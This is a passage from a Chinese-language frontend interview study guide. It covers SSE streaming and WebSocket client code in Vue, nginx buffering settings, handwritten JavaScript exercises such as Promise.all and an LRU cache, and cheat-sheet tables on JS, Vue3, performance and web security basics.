  const aiMsg: ChatMessage = { role: 'assistant', content: '' };
  messages.value.push(aiMsg);

  // ② 创建 AbortController(用于用户中断)
  abortController = new AbortController();

  try {
    const resp = await fetch('/api/chat/stream', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        'Authorization': `Bearer ${localStorage.getItem('token')}`
      },
      body: JSON.stringify({ question: q, sessionId: currentSessionId.value }),
      signal: abortController.signal          // ★ 支持取消
    });

    if (!resp.body) throw new Error('响应没有 body');

    // ③ 流式读取
    const reader = resp.body.getReader();
    const decoder = new TextDecoder('utf-8');   // ★ 关键:流式解码
    let buffer = '';

    while (true) {
      const { done, value } = await reader.read();
      if (done) break;

      // ★ stream: true 解决中文被 chunk 切断导致的乱码
      buffer += decoder.decode(value, { stream: true });

      // ④ 按 SSE 帧规则切分(双换行分隔)
      const frames = buffer.split('\n\n');
      buffer = frames.pop() ?? '';              // 最后一段可能不完整,留缓冲区

      for (const frame of frames) {
        const lines = frame.split('\n');
        let eventType = 'message';
        let data = '';
        for (const line of lines) {
          if (line.startsWith('event:')) eventType = line.slice(6).trim();
          else if (line.startsWith('data:')) data += line.slice(5).trim();
        }

        if (data === '[DONE]') continue;
        if (eventType === 'error') {
          ElMessage.error(data);
          continue;
        }
        // ⑤ 追加内容 → 响应式自动刷新界面(打字机效果)
        aiMsg.content += data;
        await scrollToBottom();
      }
    }
  } catch (e: any) {
    if (e.name === 'AbortError') {
      aiMsg.content += '\n\n_[已停止生成]_';
    } else {
      ElMessage.error('生成失败:' + e.message);
    }
  } finally {
    generating.value = false;
    abortController = null;
  }
}

// ⑥ 用户点击"停止生成" → 取消请求
function stop() {
  abortController?.abort();          // ★ 后端会收到 IOException,取消上游 LLM 请求
}

async function scrollToBottom() {
  await nextTick();                  // 等 DOM 更新
  const el = messageListRef.value;
  if (el) el.scrollTop = el.scrollHeight;
}

onUnmounted(() => {
  abortController?.abort();          // ★ 组件卸载必须取消,防止连接泄漏
});
</script>

13.3.4 面试连环问预演(★ 必背)

Q1:为什么不用原生 EventSource?

答: EventSource 有两个硬限制:① 只支持 GET(我们要 POST 携带复杂的问题参数);② 不能自定义请求头(带不了 Authorization: Bearer xxx)。所以 POST + JWT 场景必须用 fetch + ReadableStream 手动解析 SSE 帧。

Q2:中文为什么会乱码?怎么解决?

答: UTF-8 下一个中文字符占 3 个字节,而网络传输的 chunk 边界是任意的——很可能一个中文字符被切成两半(前 1 字节在 chunk1,后 2 字节在 chunk2)。如果直接用 String.fromCharCode 或普通 decode() 就会显示乱码。 解决: 用 new TextDecoder('utf-8') 配合 decode(value, { stream: true }),解码器会把不完整的字节序列缓存在内部,等下一个 chunk 到了再拼起来正确解码。

Q3:用户中途关闭页面/点击停止会怎样?

答: 前端用 AbortController.abort() 取消 fetch。后端 emitter.send() 会抛 IOException,我们在 catch 里调用 emitter.completeWithError(e) 并通知 LangChain4j 取消上游 LLM 请求——这一点很重要,否则用户已经走了,LLM 还在后台继续生成、继续烧 token 钱。

Q4:断线了怎么办?

答: 原生 SSE 有 retry 字段支持浏览器自动重连,但对话场景自动重连会导致重复生成(同样的 token 费)。我们的做法是:前端捕获流中断后展示“重新生成”按钮,由用户决定是否重试;后端对同一会话的上下文有 Redis 缓存(TTL 30 分钟),重试时带上 sessionId 复用上文,不会丢失对话上下文。

Q5:Nginx 有什么坑?

答: 必须关掉 proxy_buffering。Nginx 默认会把上游响应缓冲到一定大小(或超时)才一次性发给客户端——这会导致所有 token 憋到最后一次性涌出,“流式”完全失效,变成“转圈几秒后直接出全文”。配置:

location /api/chat/ {
    proxy_pass http://rag-backend:8080;
    proxy_http_version 1.1;
    proxy_set_header Connection '';
    proxy_buffering off;         # ★ 关键:关闭缓冲,token 立刻推给浏览器
    proxy_cache off;
    proxy_read_timeout 300s;     # 长回答不超时
    chunked_transfer_encoding on;
}

Q6:SSE 和 WebSocket 怎么选?(你的两个项目都用了)

答: 看是否需要双向通信。 RAG 对话用 SSE——一问一答,只有服务器往回推,单向就够,而且 SSE 是普通 HTTP,过网关/Nginx 兼容性好,还有浏览器自动重连。 能源大屏用 WebSocket——需要客户端和服务端双向交互(前端订阅不同站点的数据、切换监控对象),且高频推送(每秒多次),WebSocket 的帧开销比 SSE 小(SSE 每帧带 data: 前缀和空行)。

13.4 WebSocket(能源大屏实时数据)

<script setup>
import { ref, onMounted, onUnmounted, shallowRef } from 'vue';
import { throttle } from '@/utils';

const chartRef = ref(null);
let ws = null;
let reconnectTimer = null;
let reconnectCount = 0;
const MAX_RECONNECT = 5;

onMounted(() => {
  connect();
});

function connect() {
  ws = new WebSocket('ws://localhost:8080/ws/metrics');

  ws.onopen = () => {
    console.log('WebSocket 已连接');
    reconnectCount = 0;                    // 连接成功,重置重连计数
    // 订阅感兴趣的站点
    ws.send(JSON.stringify({ type: 'subscribe', stationIds: [1, 2, 3] }));
  };

  ws.onmessage = (e) => {
    const data = JSON.parse(e.data);
    throttledUpdate(data);                 // 节流后更新图表
  };

  ws.onerror = (err) => console.error('WebSocket 错误', err);

  ws.onclose = () => {
    // ★ 断线重连(指数退避,避免疯狂重连)
    if (reconnectCount < MAX_RECONNECT) {
      const delay = Math.min(1000 * Math.pow(2, reconnectCount), 30000);
      // 1s, 2s, 4s, 8s, 16s(上限 30s)
      reconnectTimer = setTimeout(() => {
        reconnectCount++;
        connect();
      }, delay);
    }
  };
}

// 节流:后端每秒推 10 次,前端最多 500ms 更新一次图表
const throttledUpdate = throttle((data) => {
  chart.value?.setOption({ series: [{ data: data.points }] });
}, 500);

// ★ 心跳保活(防止被网关/防火墙断开空闲连接)
setInterval(() => {
  if (ws?.readyState === WebSocket.OPEN) {
    ws.send(JSON.stringify({ type: 'ping' }));
  }
}, 30000);

onUnmounted(() => {
  clearTimeout(reconnectTimer);
  ws?.close();                             // ★ 必须关闭
});
</script>

WebSocket 关键实践(面试要点):

① 断线重连 + 指数退避
   不能失败就立刻重连(可能疯狂重连打爆服务器)
   延迟按 1s/2s/4s/8s... 递增,设上限和最大次数

② 心跳保活
   空闲连接可能被网关/Nginx 断开(默认 60s)
   每 30s 发一次 ping,保持连接活跃

③ 节流更新
   后端推送频率 >> 渲染需求,前端必须限流

④ 组件卸载要 close
   否则连接泄漏,控制台报错且连接数累积

13.5 前后端协作规范(体现工程素养)

① 接口文档
   后端用 Swagger/OpenAPI(Knife4j),前端据此生成 TS 类型
   → 接口变更时前端编译期就能发现

② 统一响应体
   Result<T> { code, message, data }
   → 前端拦截器统一处理,业务代码只关心 data

③ 统一错误码
   200 成功 / 401 未登录 / 403 无权限 / 429 限流 / 500 服务错误
   → 前后端对错误的处理逻辑一致

④ 统一时间格式
   后端 LocalDateTime → "yyyy-MM-dd HH:mm:ss" 字符串
   → 避免时区问题(不用时间戳,可读性差)

⑤ 幂等性
   写操作(下单、提交表单)后端做幂等,前端同时做防重复提交(按钮置灰 + 节流)
   → 双保险(你的简历项目四写了这点)

⑥ 分页约定
   pageNum(从 1 开始)+ pageSize,返回 { list, total }
   → 前后端参数名统一

⑦ 文件上传
   前端限制类型/大小(before-upload 钩子),后端二次校验
   → 前端校验是体验,后端校验才是安全

第十四章:手写代码题

前端面试的高频手写题。部分已在前面章节讲过(防抖节流见 1.8,深拷贝见 1.9,call/apply/bind 见 1.5,instanceof 见 1.4),这里补充其余高频题目。

14.1 手写 Promise.all

Promise.myAll = function(promises) {
  return new Promise((resolve, reject) => {
    if (!Array.isArray(promises)) {
      return reject(new TypeError('参数必须是数组'));
    }
    const results = [];
    let completedCount = 0;
    const len = promises.length;

    if (len === 0) return resolve([]);      // 空数组直接 resolve

    promises.forEach((p, index) => {
      // ★ 用 Promise.resolve 包装,兼容非 Promise 值
      Promise.resolve(p).then(
        value => {
          results[index] = value;            // 按索引存,保证顺序
          completedCount++;
          if (completedCount === len) {
            resolve(results);                // 全部完成才 resolve
          }
        },
        reason => reject(reason)             // 任一失败立即 reject(快速失败)
      );
    });
  });
};

手写 Promise.race:

Promise.myRace = function(promises) {
  return new Promise((resolve, reject) => {
    promises.forEach(p => {
      Promise.resolve(p).then(resolve, reject);   // 谁先改变状态就用谁
    });
  });
};

手写 Promise.allSettled:

Promise.myAllSettled = function(promises) {
  return new Promise((resolve) => {
    const results = [];
    let count = 0;
    const len = promises.length;
    if (len === 0) return resolve([]);

    promises.forEach((p, i) => {
      Promise.resolve(p).then(
        value => {
          results[i] = { status: 'fulfilled', value };
          if (++count === len) resolve(results);
        },
        reason => {
          results[i] = { status: 'rejected', reason };
          if (++count === len) resolve(results);   // ★ 失败也继续等,不 reject
        }
      );
    });
  });
};

14.2 数组扁平化

const arr = [1, [2, 3], [4, [5, 6]]];

// ① 最简单:flat(Infinity)
arr.flat(Infinity);                    // [1, 2, 3, 4, 5, 6]

// ② 递归实现
function flat(arr, depth = 1) {
  return arr.reduce((result, item) => {
    return result.concat(
      Array.isArray(item) && depth > 0 ? flat(item, depth - 1) : item
    );
  }, []);
}

// ③ while + some(不使用递归)
function flatDeep(arr) {
  while (arr.some(item => Array.isArray(item))) {
    arr = [].concat(...arr);            // 每次展开一层
  }
  return arr;
}

14.3 数组去重

const arr = [1, 1, 2, '1', '1', NaN, NaN, {}, {}];

// ① Set(最简单,但 NaN 能去重、对象不能)
[...new Set(arr)];                      // [1, 2, '1', NaN, {}, {}]

// ② filter + indexOf(NaN 去不掉,因为 indexOf(NaN) === -1)
arr.filter((item, index) => arr.indexOf(item) === index);

// ③ reduce + includes(同样 NaN 问题)

// ④ 完整版(能处理 NaN 和对象)
function unique(arr) {
  const seen = new Map();
  return arr.filter(item => {
    const key = typeof item + JSON.stringify(item);   // 用类型+值做 key
    return seen.has(key) ? false : (seen.set(key, true), true);
  });
}

14.4 柯里化(Currying)

// 把 f(a, b, c) 变成 f(a)(b)(c)
function curry(fn) {
  return function curried(...args) {
    // 参数够了就执行原函数,不够就返回新函数继续收集
    if (args.length >= fn.length) {
      return fn.apply(this, args);
    }
    return function(...nextArgs) {
      return curried.apply(this, [...args, ...nextArgs]);
    };
  };
}

// 测试
function add(a, b, c) { return a + b + c; }
const curriedAdd = curry(add);
curriedAdd(1)(2)(3);        // 6
curriedAdd(1, 2)(3);        // 6
curriedAdd(1)(2, 3);        // 6

// 实际应用:参数复用
const hasPermission = curry((role, action) =>
  permissions[role]?.includes(action));
const canAdmin = hasPermission('admin');    // 固定第一个参数
canAdmin('delete');       // true
canAdmin('edit');         // true

14.5 LRU 缓存(Least Recently Used)

/**
 * LRU 缓存:容量满时淘汰最久未使用的
 * ★ 用 Map 是因为 Map 保持插入顺序,且 keys().next() 是 O(1) 拿到最老的
 */
class LRUCache {
  constructor(capacity) {
    this.capacity = capacity;
    this.cache = new Map();
  }

  get(key) {
    if (!this.cache.has(key)) return -1;
    // ★ 访问后移到最新(先删再插,插到末尾)
    const value = this.cache.get(key);
    this.cache.delete(key);
    this.cache.set(key, value);
    return value;
  }

  put(key, value) {
    if (this.cache.has(key)) {
      this.cache.delete(key);              // 已存在,删掉旧的
    } else if (this.cache.size >= this.capacity) {
      // ★ 容量满:删除最久未使用的(Map 的第一个 key)
      const oldestKey = this.cache.keys().next().value;
      this.cache.delete(oldestKey);
    }
    this.cache.set(key, value);            // 插入到末尾(最新)
  }
}

// 测试
const lru = new LRUCache(2);
lru.put(1, 1);        // {1:1}
lru.put(2, 2);        // {1:1, 2:2}
lru.get(1);           // 1 → {2:2, 1:1}(1 被访问,变成最新)
lru.put(3, 3);        // 容量满,淘汰最老的 2 → {1:1, 3:3}
lru.get(2);           // -1(2 已被淘汰)

14.6 发布订阅模式(EventEmitter)

class EventEmitter {
  constructor() {
    this.events = new Map();          // eventName → Set<handler>
  }

  // 订阅
  on(name, handler) {
    if (!this.events.has(name)) {
      this.events.set(name, new Set());
    }
    this.events.get(name).add(handler);
    return () => this.off(name, handler);   // ★ 返回取消订阅函数(很实用)
  }

  // 取消订阅
  off(name, handler) {
    const handlers = this.events.get(name);
    if (handlers) {
      handlers.delete(handler);
      if (handlers.size === 0) this.events.delete(name);
    }
  }

  // 订阅一次(执行后自动取消)
  once(name, handler) {
    const wrapper = (...args) => {
      handler(...args);
      this.off(name, wrapper);
    };
    this.on(name, wrapper);
  }

  // 发布
  emit(name, ...args) {
    const handlers = this.events.get(name);
    if (handlers) {
      // 复制一份再遍历,避免遍历中修改集合出问题
      [...handlers].forEach(handler => handler(...args));
    }
  }
}

// 使用
const emitter = new EventEmitter();
const unsubscribe = emitter.on('docDeleted', (id) => console.log('删除了', id));
emitter.emit('docDeleted', 1);      // 删除了 1
unsubscribe();                       // 取消订阅

14.7 寄生组合继承(最优继承方式)

/**
 * 组合继承的问题:调用两次父构造函数
 * 寄生组合继承:只调用一次,是 ES6 class 之前的最优解
 */
function inherit(Child, Parent) {
  // ① 创建一个以 Parent.prototype 为原型的对象(不调用父构造函数)
  const prototype = Object.create(Parent.prototype);
  // ② 修正 constructor 指向
  prototype.constructor = Child;
  // ③ 赋值给子类的原型
  Child.prototype = prototype;
}

function Parent(name) {
  this.name = name;
  this.colors = ['red', 'blue'];
}
Parent.prototype.sayName = function() {
  console.log(this.name);
};

function Child(name, age) {
  Parent.call(this, name);      // 继承实例属性(第一次也是唯一一次调用父构造)
  this.age = age;
}
inherit(Child, Parent);          // 继承原型方法

Child.prototype.sayAge = function() {
  console.log(this.age);
};

const c1 = new Child('张三', 18);
c1.colors.push('green');
const c2 = new Child('李四', 20);
console.log(c2.colors);          // ['red', 'blue'] ← 引用属性不共享 ✅

14.8 手写 new

function myNew(Constructor, ...args) {
  // ① 创建一个空对象,原型指向构造函数的 prototype
  const obj = Object.create(Constructor.prototype);
  // ② 执行构造函数,this 指向新对象
  const result = Constructor.apply(obj, args);
  // ③ 如果构造函数返回对象就用它,否则返回新对象
  return (result !== null && typeof result === 'object') || typeof result === 'function'
    ? result
    : obj;
}

function Person(name) { this.name = name; }
Person.prototype.sayHi = function() { console.log('Hi, ' + this.name); };

const p = myNew(Person, '张三');
p.sayHi();                       // Hi, 张三
p instanceof Person;             // true

14.9 手写 reduce

Array.prototype.myReduce = function(callback, initialValue) {
  if (typeof callback !== 'function') {
    throw new TypeError(callback + ' is not a function');
  }

  const arr = this;
  let accumulator;
  let startIndex;

  // ① 有初始值:从 index 0 开始,累加器 = 初始值
  if (initialValue !== undefined) {
    accumulator = initialValue;
    startIndex = 0;
  } else {
    // ② 无初始值:从 index 1 开始,累加器 = 第一个元素
    if (arr.length === 0) {
      throw new TypeError('Reduce of empty array with no initial value');
    }
    accumulator = arr[0];
    startIndex = 1;
  }

  // ③ 遍历累加(跳过空位)
  for (let i = startIndex; i < arr.length; i++) {
    if (i in arr) {                        // 跳过稀疏数组的空位
      accumulator = callback(accumulator, arr[i], i, arr);
    }
  }
  return accumulator;
};

第十五章:面试速查表(终极版)

15.1 JavaScript 核心

考点 一句话答案
数据类型 7 原始 + 1 引用;typeof null === 'object' 是历史 bug
原型链 对象 __proto__ → 构造函数 prototype → Object.prototype → null
new 做什么 建空对象 → 连原型 → 执行构造(this指向新对象) → 返回对象
闭包 函数 + 捕获的外部变量;优点私有化/保存状态,缺点内存泄漏
this 绑定 优先级:new > call/apply/bind > 对象方法 > 普通函数;箭头函数继承外层
事件循环 同步 → 清空所有微任务 → 执行一个宏任务 → 再清空微任务
微任务 Promise.then、async/await、queueMicrotask、MutationObserver
宏任务 setTimeout、setInterval、DOM 事件、Ajax 回调、script 整体
Promise.all vs race all 全成功才成功(快速失败);race 取第一个完成的
防抖 vs 节流 防抖“等你停下来”(搜索联想);节流“固定频率”(滚动/高频刷新)
深拷贝 JSON 法有硬伤;手写递归用 WeakMap 解决循环引用
事件委托 利用冒泡绑在父元素;省内存 + 支持动态元素
?? vs || ?? 只对 null/undefined 取默认值;|| 对所有假值
手写题 call/apply/bind、new、instanceof、Promise.all、防抖节流、深拷贝、LRU

15.2 TypeScript

考点 一句话答案
TS 优势 编译期类型检查、IDE 智能提示、重构安全
interface vs type interface 可扩展/声明合并(对象结构);type 能表达联合/元组/函数
any vs unknown any 关闭检查;unknown 要先做类型收窄才能用
泛型 类型参数化;Result<T> 统一响应体是典型应用
工具类型 Partial(全可选) Pick(挑) Omit(排除) Record(映射) Awaited(展开Promise)
类型守卫 typeof / instanceof / in / 自定义 is 谓词 / 可辨识联合
金额精度 Java BigDecimal → JSON String,前端用字符串接收,避免丢精度

15.3 Vue3 核心

考点 一句话答案
Vue2 vs Vue3 响应式 defineProperty 逐属性(新增属性不响应)vs Proxy 整对象(全能+懒代理)
ref vs reactive ref 任意类型用 .value;reactive 只对象、整体替换丢响应式
reactive 解构 会丢响应式,用 toRefs 包裹
computed vs watch computed 算新值(有缓存);watch 做副作用(调接口,能拿旧值)
watchEffect 自动收集依赖 + 立即执行,不拿旧值
虚拟 DOM JS 对象描述 DOM;数据变 → 新 VNode → Diff → 只改差异
Vue3 Diff 优化 PatchFlag 靶向更新、静态提升、事件缓存、Block Tree
nextTick 基于微任务(Promise.then),排在 DOM 更新后,能拿到新 DOM
v-if vs v-show v-if 销毁/创建(切换开销大);v-show 改 display(初始开销大)
v-for key 精准复用节点;不能用 index(增删会错位)
单向数据流 props 只读,子改必须 emit 通知父
组件通信 props/emit、v-model、provide/inject、Pinia、$attrs、mitt、ref+defineExpose
keep-alive 缓存组件实例;生命周期变 activated/deactivated
生命周期清理 onUnmounted 里关 SSE/WS、dispose 图表、清定时器、移除监听

15.4 Vue2 → Vue3 迁移

考点 一句话答案
响应式 defineProperty → Proxy(不用 $set/$delete 了)
API 风格 Options API → Composition API(逻辑按功能聚合,可复用)
mixin → composable 解决命名冲突、来源不清晰、不能传参三大痛点
生命周期 beforeDestroy/destroyed → onBeforeUnmount/onUnmounted
filter 移除了,用 computed 或方法
$on/$off 移除了,用 mitt
v-model 支持多个(v-model:name),.sync 合并进 v-model
Fragment 支持多根节点,不用套无意义 div
Teleport 逻辑在当前组件,DOM 渲染到别处(弹窗挂 body)
根节点 Vue2 单根 → Vue3 多根
IE11 不支持(Proxy 无法 polyfill),要兼容用 Vue 2.7

15.5 ECharts 与可视化

考点 一句话答案
基本流程 容器(必须有宽高) → init → setOption
不显示排查 容器没宽高 / display:none / v-if 没等 nextTick
Canvas vs SVG Canvas 快(大数据量、大屏);SVG 清晰可交互(小数据、导出)
实时刷新 WebSocket 推送 + 节流 + setOption 增量更新 + 滑动窗口限数据点
setOption 第二参 notMerge=true 完全替换(系列数量变化时用)
大数据优化 sampling:‘lttb’ 降采样、large 模式、progressive 渐进、关动画、dataZoom
LTTB 按屏幕宽度分桶,每桶选最代表趋势的点,10万→800 点保形状
内存泄漏 dispose 实例、移除监听、清定时器、限制数据点(三重清理)
按需引入 echarts/core + use([...]),1MB → 200KB
shallowRef ECharts 实例是复杂大对象,用 shallowRef 避免深度代理损耗
大屏适配 scale 缩放(按设计稿尺寸 + transform:scale)

15.6 拓扑结构

考点 一句话答案
存储方案 邻接表(移动快 O(1))/ 路径枚举 / 闭包表 / 嵌套集
为什么选邻接表 设备拓扑频繁调整,移动节点只改 parent_id
递归 CTE WITH RECURSIVE 锚成员 + 递归成员;限深度防死循环
列表转树 HashMap 两遍遍历 O(n);递归构建是 O(n²) 不可用
转换在哪端 后端(前端直接用 + Redis 缓存树形 JSON)
tree vs graph tree 严格层级;graph 任意连接(力导向/环形)
力导向问题 O(n²) 复杂度,节点多时算不出来 → 改用 layout:‘none’
万级优化 限展开层级、懒加载、关动画、Canvas、预计算坐标
缓存一致性 Redis 缓存 30 分钟,设备状态变更时删缓存

15.7 性能优化

考点 一句话答案
核心指标 FCP(<1.8s)、LCP(<2.5s)、CLS(<0.1)、FID(<100ms)
虚拟滚动 只渲染可视区;占位块撑高度 + transform 定位 + rAF 节流
为什么用 transform 只触发合成(GPU),不触发重排重绘
路由懒加载 () => import(),每路由单独 chunk,访问时才下载
重排 vs 重绘 重排改位置尺寸(代价大);重绘改颜色;合成 transform(最小)
布局抖动 读写交替强制同步布局;解决:读写分离
强缓存 Cache-Control max-age(不发请求);带 hash 的资源用 1 年
协商缓存 ETag/Last-Modified,没变返回 304(省流量)
index.html 为什么 no-cache 被缓存会导致发版后还引用旧 hash 的 JS
打包优化 manualChunks 分包、terser 压缩、drop_console、CDN

15.8 工程化与网络

考点 一句话答案
Vite vs Webpack Vite 开发用原生 ESM 不打包(秒级启动),生产用 Rollup
环境变量 .env.xxx,必须以 VITE_ 开头;不能放密钥(会打包进 JS)
ESLint vs Prettier ESLint 查质量(类比 Checkstyle);Prettier 格式化(类比 Spotless)
Nginx 部署 静态资源强缓存、index.html no-cache、/api 反代、try_files 兜底 SPA 路由
跨域本质 浏览器同源策略(协议+域名+端口),不是后端拒绝;Postman 不受影响
预检 非简单请求先发 OPTIONS;Max-Age 缓存预检结果
解决跨域 开发 Vite 代理 / 生产 Nginx 同域反代 / 后端 CORS 白名单
HTTPS 握手 ClientHello → ServerHello+证书 → 密钥交换 → 会话密钥对称加密通信
为什么混合加密 非对称安全但慢(协商密钥);对称快(传数据)
HTTP/2 多路复用(一个连接并行多请求)、头部压缩、二进制分帧

15.9 安全

考点 一句话答案
XSS 注入恶意脚本;防御:转义、Vue {{}} 自动转义、v-html 要 DOMPurify 清洗
XSS 三类型 存储型(存库)、反射型(URL 参数)、DOM 型(前端写 DOM)
v-html 风险 等同 innerHTML,会执行 HTML;渲染 AI/用户内容必须先 sanitize
CSRF 借用户 Cookie 发请求;防御:SameSite Cookie、CSRF Token、验证 Origin
JWT 存哪 localStorage(防 CSRF 但怕 XSS)vs HttpOnly Cookie(防 XSS 但需防 CSRF)
HttpOnly JS 读不到 Cookie,XSS 偷不走
SameSite Strict 完全禁止跨站带 Cookie;Lax 允许安全的 GET(默认)
点击劫持 透明 iframe 覆盖;防御 X-Frame-Options / CSP frame-ancestors

15.10 前后端协作

考点 一句话答案
SSE 定义 HTTP 长连接上服务器单向推文本流(text/event-stream)
SSE vs WebSocket 单向文本过网关友好自动重连 vs 全双工独立协议;LLM 一问一答选 SSE
帧格式 event: 类型 / data: 数据 / 空行(\n\n)分隔 / retry: 重连间隔
为什么不用 EventSource 只支持 GET、带不了 Authorization,用 fetch + ReadableStream
中文乱码 多字节字符被 chunk 切断,用 TextDecoder stream:true
Nginx 关键项 proxy_buffering off(关缓冲立即推送)+ 长 read_timeout
用户关页面 emitter.send 抛 IOException → 取消上游 LLM 请求(省 token 钱)
后端核心类 SseEmitter + 流式 handler(onPartialResponse 逐 token 推送)
Axios 拦截器 请求带 token,响应统一处理 401 跳登录/错误提示
WebSocket 实践 断线重连指数退避、心跳保活、节流更新、卸载要 close
幂等 后端做幂等键 + 前端防重复提交(按钮置灰 + 节流)双保险

附录:高频开放题的回答框架

Q:你做过最有亮点的前端工作是什么?

推荐回答(结合你的简历):

“我印象最深的是两个: 一个是 RAG 系统的 SSE 流式对话。 LLM 是逐 token 生成的,我后端用 Spring 的 SseEmitter 逐 token 推送,前端因为要 POST 加 JWT 头,原生 EventSource 用不了,就用 fetch 的 ReadableStream 手动解析 SSE 帧。中间踩了个坑:中文一个字 3 字节,网络 chunk 会把字切断导致乱码,必须用 TextDecoder 的 stream 模式解码。另外用户中途关页面的话,后端 send 会抛 IOException,我们在这个 catch 里取消上游 LLM 请求——不然用户都走了还在烧 token 钱。

另一个是能源大屏的性能优化。 大屏有十几个图表长时间运行,最初内存持续增长,排查发现是图表实例没 dispose、resize 监听没移除、实时数据数组无限增长三个原因。我封装了 useChart composable 统一管理生命周期,用滑动窗口限制数据点,ECharts 改成按需引入。改造后连续运行 24 小时内存稳定在 200MB 以内。

还有指令列表的虚拟滚动——万级数据全量渲染首屏要 3 秒多,改成只渲染可视区后降到 800ms 以内,滚动稳定 60fps。“

为什么这么答好: 三个案例分别覆盖了 SSE 流式(前后端配合)、内存优化(工程能力)、虚拟滚动(算法能力),且每个都讲清了问题 → 排查 → 方案 → 量化结果,有技术细节有数据。


本文档对应《简历技术栈学习指南》第九阶段,最后更新:2026-09-01 涵盖:前端三件套底层、TypeScript、Vue3 原理、Vue2/Vue3 全面对比、组件化、路由状态管理、ECharts 可视化、拓扑结构、性能优化、工程化、浏览器网络、前端安全、前后端协作、手写代码题